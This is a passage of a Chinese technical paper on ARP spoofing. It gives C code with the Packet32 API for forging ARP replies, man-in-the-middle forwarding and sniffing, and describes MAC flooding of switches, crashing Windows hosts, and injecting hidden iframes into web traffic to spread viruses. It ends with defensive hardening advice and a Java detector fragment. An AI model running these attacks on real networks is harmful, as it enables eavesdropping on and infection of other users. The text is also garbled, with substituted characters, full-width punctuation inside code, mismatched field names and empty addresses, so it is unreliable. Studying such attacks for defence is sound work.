以字节为单位。接下来的OP为“操作字段",可以选择四种操作类型,分别是ARP恳求(值为1)、ARP应答(值为2)、RARP恳求(值为3)和RARP应答(值为4)。由于在ARP恳求和ARP应答时的“帧类型”字段值相同(都为0x0806),所以需要从这个字段来区分是恳求还是应答。报文最后的四个字段将重复消灭发送与接受端的硬件地址(在以太网的数据帧报头中消灭过)。最后四个字段分别是:发送源以太网地址、目的地以太网地址、发送源IP地址以及目的地IP地址。另外,由于ARP恳求或回答的数据帧长都是42字节(28字节的ARP数据加上14字节的以太网帧头),因此,每一帧都必须加入填充字符以达到以太网数据帧60字节的最小长度要求.在表2—2示例的网络环境中,当主机A在自己的缓存中找不到B的MAC地址而需要进行询问时.A发送了一个ARP询问报文,在这个报文中,目的地址为全1(FF-FF-FF-FF-FF-FF)的特殊广播地址.广播域内链接的全部以太卡网都会接收广播的数据帧。广播报文结构如图3—1所示:图3-1ARP广播帧构造对于一个ARP恳求来说,除目的端硬件地址外的全部其他的字段都有填充值。当系统收到一份目的端为本机的ARP恳求报文后,它就把硬件地址填进去,然后用两个目的端地址分别替换两个发送端地址,并把操作字段置为2,最后把它发送回去。所以,我们要进行ARP哄骗所需要构造的伪装应答报文如下所示:图3—2ARP哄骗帧构造构造报文的结构代码可以这样写:(1)首先我们定义“14字节的以太网头部”结构ETHHDR1:typedefstructethhdr1(/*定义“14字节的以太网头部"*/unsignedchareh_dst[6];/*目标以太网地址6字节*/unsignedchareh_src[6];/*源以太网地址6字节*/unsignedshorteh_type;)/*帧类型2字节*/ETHHDR1,*PETHHDR1;(2)定义“28字节的ARP恳求或应答”的结构:typedefstructarphdr1/*定义“28字节的ARP恳求或应答”*/{unsignedshortarp_hrd;/*帧类型2字节*/unsignedshortarp_pro;/*协议类型2字节*/unsignedchararp_hln;/*硬件地址(MAC)长度1字节*/unsignedchararp_pln;/*协议地址(IP)长度1字节*/unsignedshortarp_op;/*op操作类型2字节*/unsignedchararp_sha[6];/*源以太网地址6字节*/unsignedlongarp_spa;/*源IP网地址4字节*/unsignedchararp_tha[6];/*目标以太网地址6字节*/unsignedlongarp_tpa;/*目标以IP地址4字节*/}ARPHDR1,*PARPHDR1;(3)接下来,将构造好的前14字节与后28字节连在一起,成为ARP报文:typedefstructarpPacket1/*构造42字节ARP报文arpPacket1结构*/{ETHHDR1ethhdr1;/*“14字节的以太网头部"结构*/ARPHDR1arphdr1;/*“28字节的ARP恳求或应答"结构*/}ARPPACKET1,*PARPPACKET1;(4)定义数据报文中的常量#defineT_IP0x0800/*常量IP协议表示IP的类型值*/#defineT_ARP0x0806/*常量ARP表示ARP的类型值*/#defineH_ARP0x0001/*值为1即表示以太网硬件类型*/#defineOP_ARPR0x0001/*OP操作类型1表示ARP恳求*/#defineOP_ARPB0x0002/*OP操作类型2表示ARP应答*/(5)当报文结构定义好后,需要定义一个报文并把数据填入:ARPPACKET1ARPPacket1;/*定义一个数据报文结构ARPPacket1*/ToMacAddr("AAAAAAAAAAAA”,MacAddr))/*将字符串AAAAAAAAAAAA转化成MAC地址*/memcpy(ARPPacket1.e1hhdr1.eh_dst,MacAddr,6);/*定义目的MAC地址AAAAAAAAAAAA*/ToMacAddr("CCCCCCCCCCCC",MacAddr)/*将字符串CCCCCCCCCCCC转化成MAC地址*/memcpy(ARPPacket1.ethhdr1。eh_src,MacAddr,6);/*定义源MAC地址CCCCCCCCCCCC*/ARPPacket1.ethhdr1.eh_type=htons(T_ARP);/*常量ARP表示ARP的类型值*/ARPPacket1。ethhdr1.arp_hrd=htons(H_ARP);/*值为1即表示以太网硬件类型*/ARPPacket1。ethhdr1.arp_pro=htons(T_IP);/*常量IP协议表示IP的类型值*/ARPPacket1.ethhdr1。arp_hln=6;/*MAC地址长度为6字节*/ARPPacket1。ethhdr1.arp_pln=4;/*IP地址长度为4字节*/ARPPacket1。ethhdr1。arp_op=htons(OP_ARPB);/*OP操作类型2表示ARP应答*/ToMacAddr("CCCCCCCCCCCC",MacAddr));memcpy(ARPPacket1。arphdr1。arp_sha,MacAddr,6);//伪造的B的MAC地址ARPPacket1。arphdr1。arp_spa=inet_addr(”192。168。1.2”);//B的IP地址ToMacAddr(”AAAAAAAAAAAA”,MacAddr))memcpy(ARPPacket1。arphdr1.arp_tha,MacAddr,6);//目标A的MAC地址ARPPacket1.arphdr1。arp_tpa=inet_addr(”192。168。1。1");//目标A的IP地址3。2发送ARP哄骗帧在3。1中已经构造了伪装的ARP回复报文ARPPacket1,接下来需要将数据包发送到局域网内主机A上。在此我们使用开发包Packet32中供应的API函数组.Packet32是闻名的网卡数据读写开发包,他有众多版本,在这里使用的是最常用的微软PACKET32。h。现在闻名的网络监听程序如ntsniff、EthernetSpy、ntpacket、WinPcap等都使用Packet32开发。应用程序通过Packet32下PacketSendPacket等函数可以直接操作网卡,设置网卡的工作模式,直接在网卡上读写数据。Packet32包中的有如下一些功能函数:(1)PacketGetAdapterNames:从注册表中读取网卡名(2)PacketOpenAdapter:打开网卡(3)PacketSetHwFilter:设置过滤器(4)PacketSetBuff:设置缓冲区的大小(5)PacketSetReadTimeout:设置读操作的超时时间(6)PacketAllocatePacket:为_PACKET结构安排内存(7)PacketInitPacket:初始化_PACKET结构,将packet结构中的buffer设置为传递的buffer指针.(8)PacketReceivePacket:读取数据,从NPFdriver上读取数据Packets或者统计信息。(9)PacketGetStats:得到本次捕获的统计数据(10)PacketSentPacket:发送数据.以下是发送数据包的过程代码:(1)首先需要引用Packet32头文件#include<Packet32。h〉(2)猎取网卡硬件列表f(PacketGetAdapterNames((char*)AdapterName,&AdapterLength)==FALSE){printf("Unabletoretrievethelistoftheadapters!\n”);return0;(3)取第一个网卡lpAdapter=(LPADAPTER)PacketOpenAdapter((LPTSTR)AdapterList[0]);if(!lpAdapter||(lpAdapter—〉hFile==INVALID_HANDLE_VALUE)){nRetCode=GetLastError();printf(”Unabletoopenthedriver,ErrorCode:%lx\n”,nRetCode);return0;}lpPacket=PacketAllocatePacket();if(lpPacket==NULL){printf(”\nError:failedtoallocatetheLPPACKETstructure。”);return0;}(4)将3。1中定义好的数据帧写到内存中memcpy(szPacketBuf,(char*)&ARPPacket,sizeof(ARPPacket));(5)初试化数据包PacketInitPacket(lpPacket,szPacketBuf,60);if(PacketSetNumWrites(lpAdapter,2)==FALSE){printf("warning:Unabletosendmorethanonepacketinasinglewrite!\n”);}(6)发送我们构造的伪造ARP数据包if(PacketSendPacket(lpAdapter,lpPacket,TRUE)==FALSE){printf("Errorsendingthepackets!\n”);return0;}printf(”Sendok!\n”);(7)关闭网卡PacketFreePacket(lpPacket);PacketCloseAdapter(lpAdapter);以上程序使A接收到一个被伪造的ARP应答,对目标A进行哄骗。A发送数据到主机B却发送到了CC—CC—CC—CC—CC—CC这个地址上。这种效果正是前文所描述的,ARP哄骗成功。但是,完整的ARP哄骗需要进一步做数据的转发,由于A虽然对错误的缓存不能辨别,但是接下来的数据交换中,A与B之间就会由于数据无法匹配而终止通信。由于A发往B的数据转发到了C,所以A在一段时间内无法得到来自B的合法回复后,将意识到通讯存在问题。因此,接下来需要C来做“Man—In—The—Middle”重定向。3。3同时发向两台机器的“Man-In—The-Middle”做“Man-In-The-Middle”,进行ARP重定向。首先需要使C同时发两个应答帧到通信的双方A与B。这样C将成为A与B之间的ARP代理,相当与C是AB间的路由器.(1)同时构造两个ARP应答帧(应答帧中常量定义不再重述)。ARPPACKET1ARPPacket1;//定义一个数据报文结构ToMacAddr("AAAAAAAAAAAA",MacAddr))//将字符串AAAAAAAAAAAA转化成MAC地址memcpy(ARPPacket1.e1hhdr1.eh_dst,MacAddr,6);//定义目的MAC地址AAAAAAAAAAAAToMacAddr(”CCCCCCCCCCCC”,MacAddr)//将字符串CCCCCCCCCCCC转化成MAC地址memcpy(ARPPacket1.ethhdr1.eh_src,MacAddr,6);//定义源MAC地址CCCCCCCCCCCCToMacAddr("CCCCCCCCCCCC”,MacAddr));memcpy(ARPPacket1。arphdr1。arp_sha,MacAddr,6);//伪造的B的MAC地址ARPPacket1。arphdr1。arp_spa=inet_addr("192.168。1.2");//B的IP地址ToMacAddr(”AAAAAAAAAAAA",MacAddr))memcpy(ARPPacket1.arphdr1。arp_tha,MacAddr,6);//目标A的MAC地址ARPPacket1.arphdr1。arp_tpa=inet_addr(”");//目标A的IP地址ARPPACKET1ARPPacket2;//定义一个数据报文结构ARPPacket2ToMacAddr("AAAAAAAAAAAA”,MacAddr))//将字符串BBBBBBBBBBBB转化成MAC地址memcpy(ARPPacket2。e1hhdr1。eh_dst,MacAddr,6);//定义目的MAC地址AAAAAAAAAAAAToMacAddr(”CCCCCCCCCCCC”,MacAddr)/*将字符串CCCCCCCCCCCC转化成MAC地址*/memcpy(ARPPacket2。ethhdr1。eh_src,MacAddr,6);/*定义源MAC地址CCCCCCCCCCCC*/ToMacAddr(”CCCCCCCCCCCC”,MacAddr));memcpy(ARPPacket2.arphdr1。arp_sha,MacAddr,6);//伪造的A的MAC地址ARPPacket1。arphdr1.arp_spa=inet_addr("192。168。1.1”);//A的IP地址ToMacAddr("AAAAAAAAAAAA",MacAddr))memcpy(ARPPacket2.arphdr1。arp_tha,MacAddr,6);//目标B的MAC地址ARPPacket2.arphdr1.arp_tpa=inet_addr(”192。168.1。2");//目标B的IP地址(2)将这两个哄骗包同时发往A、B,构造“man-in—the-middle”(网卡初始化部分不再重述)。if(PacketSendPacket(lpAdapter,lpPacket1,TRUE)==FALSE){printf("Errorsendingthepackets!\n”);return0;}printf("SendtoAok!\n”);if(PacketSendPacket(lpAdapter,lpPacket2,TRUE)==FALSE){printf("Errorsendingthepackets!\n”);return0;}printf("SendtoBok!\n");PacketFreePacket(lpPacket);PacketCloseAdapter(lpAdapter);3.4IP数据包的转发IP转发功能,A发送过来的数据包,转发给C,好比一个路由器一样。不过,假如B发送ICMP重定向的话就中断了整个计划.直接进行整个包的修改转发,捕获到A发送给的数据包,全部进行修改后再转发给C,而C接收到的数据包完全认为是从A发送来的。不过,C发送的数据包又直接传递给A,倘若再次进行对C的ARP哄骗。现在B就完全成为A与C的中间桥梁了.(1)将B发向A的数据包转发到AlpPacket=PacketReceivePacket(lpAdapter,lpPacket2,TRUE);if(PacketSendPacket(lpAdapter,lpPacket1,TRUE)==FALSE){printf("Errorsendingthepackets!\n");return0;}printf("SendtoAok!\n");(2)将A发向B的数据包转发到BlpPacket=PacketReceivePacket(lpAdapter,lpPacket1,TRUE);if(PacketSendPacket(lpAdapter,lpPacket2,TRUE)==FALSE){printf(”Errorsendingthepackets!\n");return0;}printf(”SendtoBok!\n");PacketFreePacket(lpPacket);PacketCloseAdapter(lpAdapter);3。5侦听攻击源C既然可以收取与转发数据,当然也就可以侦听A与B之间的通信数据了.例如局域网环境为192.168.0.xxx,子网掩码为255。255.255。0,网关为192.168.0。1。我们的IP为192。168.0。3,想要Sniffer192。168。0。2的数据包.由于网关为192。168.0.1,所以我们就只要哄骗192.168.0。1和192。168。0.2就可以了。也就是说告知192.168。0.1,的MAC地址是自己(192.168。0.3);然后再告知192.168。0.2,192。168.0。1的MAC地址是自己(192。168。0.3)。这样以来全部的数据包都会发到192.168。0。3,并且由192。168。0.3实现转发同样在192.168.0。2上面也会发现192。168.0。1和192.168.0。3的MAC地址是一样的。这样我们就在和192.168。0.2之间实现了ARP哄骗。3。6用ARP攻击WINDOWS系统(1)攻破屏幕保护:利用IP冲突的级别比屏保高,当有冲突时,就会跳出屏保。需要保持较大的ARP包数量才能起效。数据包发送原理与3。2中程序所述相同,依据实验一般需要达到每秒1000次以上频率。(2)导致IP冲突死机:用ARP哄骗导致IP冲突,WINDOWS在处理IP冲突时,处理不过来,导致死机。3。7对交换机攻击(1)对交换机的MAC哄骗:交换机上同样维护着一个动态的MAC缓存。交换机的一般工作原理是:首先,交换机内部有一个对应的列表,交换机的端口对应MAC地址表PorttoMac记录着每一个端口下面存在那些MAC地址,这个表开头是空的,交换机从来往数据帧中学习。例如,当Port1口所接的计算机发出了一个数据帧,这帧数据从Port1进入交换机,交换机就取这个数据帧的原MAC地址AAAAAAAAAA,然后在地址表中记录:Port1对应AAAAAAAAAAAA。当对应表项建立后,全部发向MAC地址为AAAAAAAAAAAA的数据帧,就全从Port1口输出,而不会从其它的口输出。与对计算机的ARP哄骗相类似,如果把交换机上的MAC-PORT表修改了,那么对应的MACtoPORT就一样跟着转变,原来不应该发送到探测器的数据结果发送过来了,这样也达到了探测的目的。例如,修B发送的数据包MAC地址为原来A的MAC地址,当经过交换机的时候,交换机发现端口B对应的地址是机器A的MAC地址,于是就将会把A的MAC地址同端口B相对应,从而把发送给A的数据从端口B传输了,原来这些应该是传送到端口A的。因此,从机器B就能够获得发送给A的数据。(2)对交换机的溢出攻击:就象交换机的MAC和Port对应关系形成的原理,由于PorttoMac缓存表是动态更新的,那么让整个交换机的端口表都转变,对交换机进行MAC地址哄骗的洪水攻击,不断发送大量假MAC地址的数据包,交换机就会去更新PorttoMac缓存,如果能通过这样的方法把以前正常的PorttoMAC对应的关系破坏了,那么交换机就会进行泛洪发送给每一个端口,让交换机基本变成一个HUB,向全部的端口发送数据包。交换机对这种极限情况的处理,由于属于不正常情况,可能会引起包丢失情况,最终导致交换机系统的崩溃.3。8挂载病毒当实现“Man—In-The-Middle”重定向后,就可以通过在ARP包转发过程中进行病毒挂载。可以不用获得目标主机的权限就直接在他供应的网页上加载病毒。这种手段格外隐蔽,不改动任何目标主机的页面或者是配置,在网络传输的过程中间直接插入病毒的语句,或是调用其他网站上事先筹备好的病毒。如上文所述,“Man—In—The—Middle"重定向,实际上相当于将攻击服务器作为路由转发设备。以表2-3中环境为例,正常情况下A访问B,A是访问的正常客户,B服务器,C是攻击主机。当ARP攻击成功实现“Man-In-The-Middle"重定向后,C成为A与B之间的IP包转发器。这时,A向B发出HTTP恳求,C推断下是哪个客户端发过来的包,转发给B,然后B返回HTTP响应的时候,在HTTP响应包中,插入一段病毒的代码,再将修改过的包返回的正常的客户A,此时完成一次病毒挂载。本文中第一章的实例就是ARP挂病毒攻击。WEB服务器网关的MAC地址被ARP攻击篡改为攻击源地址,哄骗了数据报走向,然后攻击源修改一些定义的关键字加入<iframesrc=""width=1height=1frameborder=0></iframe>,最后使全部访问的客户机中毒。第4章ARP哄骗攻击防范4.1ARP防护整体布局思路在上文我们分析了ARP哄骗攻击的原理危害,以及关键攻击源代码。了解到ARP类攻击的特征后,我们可以通过在计算机或者交换器上绑定MAC地址来防止ARP哄骗,但是在大型公众上网网络环境中作到每个单点都进行MAC绑定就相当困难了。所以需要在网络环境中安插ARP哄骗包探测工具来进行整体的布局,以应对ARP哄骗可能存在的多种攻击手段,如:拒绝服务、数据窃听、病毒木马挂载、强制访问等。从上文ARP攻击原理我们可以看出,防范ARP哄骗攻击最大困难在于其攻击不是针对服务器或交换机系统本身的,而且攻击源可以在网段内任何一个地方隐藏,其隐蔽性很高。所以有时候即使我们发现了攻击的存在,要在最短时间内快速定位攻击源也是格外困难得事情。这就意味着像防治一般攻击或病毒那样单一的从服务器系统或者从网络网关上进行防范效果不是很好。因此,我们提出的ARP攻击防范策略需要从三方面同时入手:计算机系统平安加固、MAC—ARP对应表管理、以及网络非法ARP包探测。图4-1ARP攻击防护体系在图4-1中描述了ARP综合防护体系中各种手段的组成。简略方法有:(1)设置静态的MACtoIP对应表,并防止黑客刷新静态转换表。不要把网络平安信任关系建立在IP基础上或MAC基础上,尽量将信任关系应该建立在IP+MAC上.(2)使用MAC地址管理服务器。通过该服务器查找自己的ARP转换表来响应其他机器的ARP广播。(3)使用代理IP的传输。(4)使用防火墙隔离非信任域对内网机器的ARP包传输。(5)定期使用rarp恳求来检查ARP响应的真实性。(6)定期轮询检查主机上的ARP缓存。(7)使用防火墙连续监控网络.(8)使用ARP探测工具,在网络上探测非法ARP广播数据帧。4.2计算机系统平安加固目前很多常见的一般ARP攻击常常以病毒程序的形式存在。其中传播甚广的有“网游大盗”、“高波”等,这些ARP病毒寄存于Windows系统中,且一般会用到npptools.dll等系统漏洞,所以只要做好对操作系统的升级与加固可以防止此类病毒感染。(1)npptools.dll是windows系统的一个动态库(networkpacketprovideroolshelper)被ARP病毒利用,所以,禁止了npptools。dll将使此类病毒无法正常运行.简略方法是:在平安模式中,打开WINDOWS\SYSTEM32\NPPTOOLS.DLL文件.删除这个文件后,用零字节的文件替换.最后将nnptools。dll保存为只读文件。(2)给系统安装补丁程序。通过WindowsUpdate安装好系统补丁程序(关键更新、平安更新和ServicePack)(3)给系统管理员帐户设置足够简洁的强密码,最好能是12位以上,字母+数字+符号的组合;也可以禁用/删除一些不使用的帐户(4)常常更新杀毒软件(病毒库),设置允许的可设置为每天定时自动更新。安装并使用网络防火墙软件,网络防火墙在防病毒过程中也可以起到至关重要的作用,能有效地阻挡自来网络的攻击和病毒的入侵。部分盗版Windows用户不能正常安装补丁,不妨通过使用网络防火墙等其它方法来做到肯定的防护(5)关闭一些不需要的服务,条件允许的可关闭一些没有必要的共享,也包括C$、D$等管理共享。完全单机的用户也可直接关闭Server服务4。3ARP杀毒软件目前,有一些安装在系统上的ARP专杀软件和病毒防火墙产品可以通过在系统内核层拦截虚假ARP数据包以及主动通告网关本机正确的MAC地址,它能够保障单机与网关之间数据流向不经过第三者。ARP防火墙的功能包括:(1)拦截ARP攻击:在系统内核层拦截外部虚假ARP数据包,保障系统不受ARP哄骗、ARP攻击影响,保持网络畅通及通讯平安;(2)在系统内核层拦截本机对外的ARP攻击数据包,以削减感染恶意程序后对外攻击给用户带来的麻烦;(3)拦截IP冲突.在系统内核层拦截IP冲突数据包,保障系统不受IP冲突攻击的影响;(4)拒绝服务攻击抑制。在系统内核层拦截本机对外的TCPSYN/UDP/ICMP/ARPDoS攻击数据包,定位恶意发动DoS攻击的程序;(5)除了网关外,不响应其它机器发送的ARPRequest,达到隐身效果,削减受到ARP攻击的几率;(6)ARP数据分析.分析本机接收到的全部ARP数据包,掌握网络动态,找出潜在的攻击者或中毒的机器;(7)监测ARP缓存.自动监测本机ARP缓存表,如发现网关MAC地址被恶意程序篡改;(8)主动防御.主动与网关保持通讯,通告网关正确的MAC地址,以保持网络畅通及通讯平安;(9)追踪攻击者。发现攻击行为后,依据ARP包内数据来锁定攻击者IP地址;(10)ARP病毒专杀。依据ARP病毒特征码来扫描病毒;(12)ARP缓存保护。防止恶意程序篡改本机ARP缓存。(13)自身进程保护.防止被恶意软件终止。虽然这些ARP病毒防火墙与专杀杀软件能够保证系统自身ARP表的正确性,然而只要他访问的服务器被攻击者实施“Man—In-The-Middle”,同样会使得机器中毒.这一点更加说明白整体防护对抵抗ARP攻击的重要性。4.4ARP攻击探测器IP地址与MAC地址绑定是最简洁有效的ARP攻击防御方法。但是,在大型公众上网环境中使用静态IP地址和MAC地址的绑定会带来巨大的管理负荷.在大型公众上网网络中无法有效对每一台终端、服务器与网络设备都使用静态ARP表。首先,公众网络终端数量浩大一般的营业性网吧中通常有几百台终端,加上交换机与网络设备后需要维护的ARP表有上千个之多,全部人工设置不现实。其次,DHCP网络动态地址安排以及各种负载均衡策略将无法适应MAC地址绑定。所以,除了MAC地址管理之外,通常需要使用ARP攻击探测器进行对ARP攻击的防御.目前市场上还没有成熟的专门针对ARP攻击的探测器.在大型网络中可以自己通过编程实现,其原理是在其上运行存放一张局域网ARP表,记录有权威的ARP信息,嗅探器通过IDS的原理在路由器镜像口侦听局域网内ARP广播包内容,如果网络内广播包与ARP表不全都,或者ARP广播帧超过合理数量的阀值,则探测器分析后会匹配找到ARP欺哄骗特征后,探测器立刻报警并进行相应的策略联动。以下列举一个简洁的程序片段,他将ARP数据帧中的地址与网关地址比较,如果不全都则报警。staticStringrouter="00:14:f2:3c:8c:00";//网关ARP,staticStringrouterip="/63.125。35.29”;//网关IP。staticStringbroadcast=”00:00:00:00:00:00”;publicstaticvoidarp()throwsjava.io.IOException{省略。。.。。.if(p.getSenderHardwareAddress()。toString()。equals(router)||p.getTargetHardwareAddress()。toString().equals(router)||p.getSenderProtocolAddress().toString()。equals(routerip)||p.getTargetProtocolAddress().toString().equals(routerip)){if(p.getSenderProtocolAddress()。toString().equals(routerip)){if(!(p。getSenderHardwareAddress().toString()

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论